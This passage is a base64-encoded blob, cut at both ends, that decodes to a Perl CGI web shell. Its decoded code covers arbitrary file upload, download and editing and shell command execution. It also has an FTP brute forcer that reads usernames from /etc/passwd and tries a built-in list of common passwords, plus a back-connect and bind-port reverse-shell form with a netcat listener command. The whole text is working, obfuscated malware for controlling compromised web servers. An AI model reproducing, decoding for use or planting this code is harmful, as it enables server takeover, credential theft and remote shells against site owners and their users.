QoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCQ0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7DQoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOw0KCSRyZXN1bHQgLj0gIjwvZm9ybT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGaWxlIE9wZW4NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBGaWxlT3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCglteSAkcmVzdWx0ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkcmVzdWx0IC49ICRkYXRhOw0KCQkJfQ0KCQkJY2xvc2UoRklMRSk7DQoJCX0NCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KTm90ZTogT25seSBzY2FuIGZyb20gMSB0byAzIHVzZXIgOi1TPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZigkdXNlcm5hbWUgbmUgIiIpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOw0KCQkJCQl9DQoJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQmFja2Nvbm5lY3QgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kRm9ybQ0Kew0KCXJldHVybiA8PEVORDsNCgk8YnI+PGJyPg0KDQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4NCgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPg0KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+DQoNCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD4NCgk8L2Zvcm0+DQoJPC90cj4NCgk8dHI+DQoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shDQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPg0KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8YnI+PGJyPg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KDQoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyI